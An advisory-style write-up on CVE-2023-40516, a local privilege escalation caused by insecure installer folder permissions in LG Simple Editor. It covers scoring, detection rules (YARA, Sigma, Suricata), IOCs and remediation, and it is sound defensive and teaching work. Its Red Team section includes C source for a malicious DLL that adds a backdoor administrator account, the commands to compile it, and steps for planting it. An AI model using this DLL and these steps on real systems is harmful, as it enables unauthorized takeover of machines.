CVE-2023-40516

Executive Summary

CVE-2023-40516 is a local privilege escalation vulnerability in LG Simple Editor, a software product by LG. The flaw resides in the product installer, which sets incorrect permissions on folders. This allows a local attacker with low-privileged code execution on the target system to escalate privileges to SYSTEM level. The vulnerability was reported via ZDI-CAN-20327 and has a CVSS score of 7.8 (High). No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. The vulnerability is classified under CWE-732 (Incorrect Permission Assignment for Critical Resource).

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone Windows application installer issue.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – requires physical or remote access to the system.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs low-privileged code execution.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – full system compromise possible.
• Integrity Impact: High (I:H) – attacker can modify system files.
• Availability Impact: High (A:H) – attacker can disrupt system operations.

Threat Level: High. Although no public exploit exists, the low complexity and high impact make it attractive for targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic case of incorrect permission assignment during software installation. When LG Simple Editor is installed, the installer creates folders with overly permissive access control lists (ACLs). Specifically, folders such as installation directories or temporary folders may be writable by unprivileged users. An attacker with low-privileged code execution can:

1. Identify the misconfigured folder (e.g., C:\Program Files\LG Simple Editor\ or a subfolder).
2. Write a malicious DLL or executable into that folder.
3. Trigger a privileged process (e.g., a service or scheduled task) that loads the malicious file, resulting in code execution as SYSTEM.

The flaw is in the installer logic, not in the application runtime. This means the vulnerability is present immediately after installation and persists until manually fixed.

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. The vulnerable code is the installer script or configuration that sets folder permissions. A typical vulnerable installer might use default permissions like Everyone: Full Control or Users: Modify on critical folders.

Vulnerable (hypothetical example):

<Directory Id="INSTALLDIR" Name="LGSimpleEditor">
  <Component Guid="...">
    <CreateFolder>
      <Permission User="Everyone" GenericAll="yes"/>
    </CreateFolder>
  </Component>
</Directory>

Patched (hypothetical):

<Directory Id="INSTALLDIR" Name="LGSimpleEditor">
  <Component Guid="...">
    <CreateFolder>
      <Permission User="Administrators" GenericAll="yes"/>
      <Permission User="SYSTEM" GenericAll="yes"/>
      <Permission User="Users" Read="yes"/>
    </CreateFolder>
  </Component>
</Directory>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows system with LG Simple Editor installed.
• Low-privileged user account (e.g., local user or service account).
• Ability to write to the misconfigured folder.

Exploitation Steps:

1. Identify the vulnerable folder using tools like icacls or accesschk.

   icacls "C:\Program Files\LG Simple Editor"
   

2. If the folder is writable by the current user, create a malicious DLL (e.g., evil.dll) that executes a reverse shell or adds a user.

   // evil.c
   #include <windows.h>
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           WinExec("cmd.exe /c net user attacker Passw0rd! /add && net localgroup administrators attacker /add", 0);
       }
       return TRUE;
   }
   

3. Compile the DLL:

   x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c
   

4. Place the DLL in the vulnerable folder, overwriting a legitimate DLL if possible (e.g., lg_editor.dll).
5. Trigger the privileged process (e.g., restart the LG Simple Editor service or wait for a scheduled task).
6. The DLL executes as SYSTEM, granting elevated access.

Alternative: Use a symbolic link attack if the folder is writable but not directly executable.

Blue Team

Detection:

• Monitor for unusual file writes to C:\Program Files\LG Simple Editor\ by non-admin users.
• Use Sysmon Event ID 11 (FileCreate) and Event ID 7 (ImageLoad) to detect DLL sideloading.
• Check for processes loading DLLs from unexpected paths.

Hunting:

• Query for processes with low integrity level writing to high-integrity folders.
• Look for icacls or accesschk usage by non-admin users.

Prevention:

• Apply a custom ACL to the LG Simple Editor folder:

  icacls "C:\Program Files\LG Simple Editor" /inheritance:r /grant Administrators:F /grant SYSTEM:F /grant Users:R
  

• Use AppLocker or Windows Defender Application Control to block unauthorized DLLs.

Indicators of Compromise (IOCs)

• File Paths:
  • C:\Program Files\LG Simple Editor\*.dll (unexpected DLLs)
  • C:\ProgramData\LG Simple Editor\* (if writable)
• Registry Keys:
  • HKLM\SOFTWARE\LG\Simple Editor\InstallDir (check permissions)
• Processes:
  • LGSimpleEditor.exe loading DLLs from non-standard paths.
• Network:
  • Outbound connections from LGSimpleEditor.exe to unknown IPs (if reverse shell used).
• User Accounts:
  • New local admin accounts created (e.g., attacker).

Detection Engineering

YARA Rule

rule CVE_2023_40516_LG_Simple_Editor_PrivEsc {
    meta:
        description = "Detects malicious DLLs targeting LG Simple Editor folder"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-40516"
    strings:
        $s1 = "LG Simple Editor" nocase
        $s2 = "C:\\Program Files\\LG Simple Editor" nocase
        $s3 = "DLLMain" ascii
        $s4 = "WinExec" ascii
    condition:
        uint16(0) == 0x5A4D and // MZ header
        ($s1 or $s2) and
        ($s3 or $s4)
}

Sigma Rule

title: LG Simple Editor Folder Permission Abuse
id: 8f3c2a1b-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects file writes to LG Simple Editor folder by non-admin users
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40516
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11
        TargetFilename|startswith: 'C:\Program Files\LG Simple Editor\'
        User|endswith: 
            - 'User'
            - 'Users'
    condition: selection
falsepositives:
    - Legitimate LG updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2023-40516 LG Simple Editor Potential C2"; flow:to_server,established; content:"LG Simple Editor"; nocase; content:"evil"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually fix folder permissions:

   icacls "C:\Program Files\LG Simple Editor" /inheritance:r /grant Administrators:F /grant SYSTEM:F /grant Users:R
   

2. Remove write permissions for non-admin users on all subfolders.
3. Monitor for unauthorized file modifications.

Long-term:

• Contact LG for an official patch.
• Consider replacing LG Simple Editor with an alternative if no patch is released.
• Implement application whitelisting to prevent unauthorized DLL execution.

Workaround:

• Run LG Simple Editor in a sandboxed environment or with reduced privileges.

Valters IT